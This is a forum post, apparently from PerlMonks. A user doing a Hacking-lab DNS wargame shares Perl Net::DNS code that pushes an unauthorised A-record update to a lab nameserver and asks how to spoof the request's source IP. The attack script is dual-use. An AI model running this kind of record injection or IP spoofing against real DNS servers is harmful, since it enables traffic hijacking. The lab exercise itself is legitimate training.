Hello Monks I am trying to solve a challenge at Hacking-lab.com. It is completely ethical. https://www.hacking-lab.com/cases/7010-network-security-dns-host-name-change/7010-dns-host-name-change-attack-wargame-122434qwerkkkfp.html?event=400&case=13 The challenge is to change the A record on Primary DNS server, they are recommending scapy(tool written in python) to do so. But I am trying to do it with Perl. I have modified Net::DNS to acheive this.Here is my code 

#!/usr/bin/perl -w

    use strict;
    use Net::DNS;

    # Create the update packet.
    my $update = Net::DNS::Update->new('evil.zz');

    # Prerequisite is that no A records exist for the name.
   $update->push(prerequisite => nxrrset('hacker11.evil.zz. A'));

    # Add two A records for the name.
   $update->push(update => rr_add('hacker11.evil.zz. 86400 A 127.0.0.1
+'));
   # $update->push(update => rr_add('foo.example.com. 86400 A 172.16.3
+.4'));

    # Send the update to the zone's primary master.
    my $res = Net::DNS::Resolver->new;
    $res->nameservers('192.168.200.113');

    my $reply = $res->send($update);

    # Did it work?
    if ($reply) {
        my $rcode = $reply->header->rcode;
        print 'Update ', $rcode eq 'NOERROR' ? "succeeded\n" : "failed
+: $rcode\n";
    } else {
        print 'Update failed: ', $res->errorstring, "\n";
    }

[download]

This code is working fine but to accomplish the task properly i need to change Source IP of this DNS request. I know one can change his source IP while creating a packet though Net::Frame::Simple etc. But how to use it in my case. Please let me know if you need further clarification.

In reply to How to use Net::DNS:: Update with Net::Frame::Simple by sagarkha

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